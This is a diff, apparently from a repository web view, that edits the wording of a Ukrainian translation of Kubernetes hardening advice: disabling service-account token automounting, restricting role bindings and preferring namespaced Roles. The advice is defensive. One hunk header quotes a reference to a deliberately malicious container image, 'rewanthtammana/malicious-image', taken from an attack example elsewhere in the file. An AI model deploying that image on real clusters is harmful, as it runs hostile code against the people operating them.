### **Вимкнення автоматичного монтування токенів облікових записів служби**
|
||||
|
||||
- **Поди та облікові записи служби**: За замовчуванням поди монтують токен облікового запису служби. Для підвищення безпеки Kubernetes дозволяє вимкнути цю функцію автоматичного монтування.
|
||||
- **Поди та облікові записи служби**: За замовчуванням, поди монтують токен облікового запису служби. Для підвищення безпеки Kubernetes дозволяє вимкнути цю функцію автоматичного монтування.
|
||||
- **Як застосувати**: Встановіть `automountServiceAccountToken: false` у конфігурації облікових записів служби або подів, починаючи з версії Kubernetes 1.6.
|
||||
|
||||
### **Обмежене призначення користувачів у RoleBindings/ClusterRoleBindings**
|
||||
@@ -615,7 +678,7 @@ Value: "rewanthtammana/malicious-image",
|
||||
|
||||
### **Ролі, специфічні для простору імен, замість ролей на рівні кластера**
|
||||
|
||||
- **Ролі проти ClusterRoles**: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для простору імен, замість ClusterRoles і ClusterRoleBindings, які застосовуються на рівні кластера. Цей підхід забезпечує більш точний контроль і обмежує обсяг дозволів.
|
||||
- **Ролі проти ClusterRoles**: Віддавайте перевагу використанню Roles та RoleBindings для дозволів, специфічних для простору імен, замість ClusterRoles та ClusterRoleBindings, які застосовуються на рівні кластера. Цей підхід забезпечує більш точний контроль і обмежує обсяг дозволів.
|
||||
|
||||
### **Використовуйте автоматизовані інструменти**
|
||||
|
||||
|
||||
Reference in New Issue
Block a user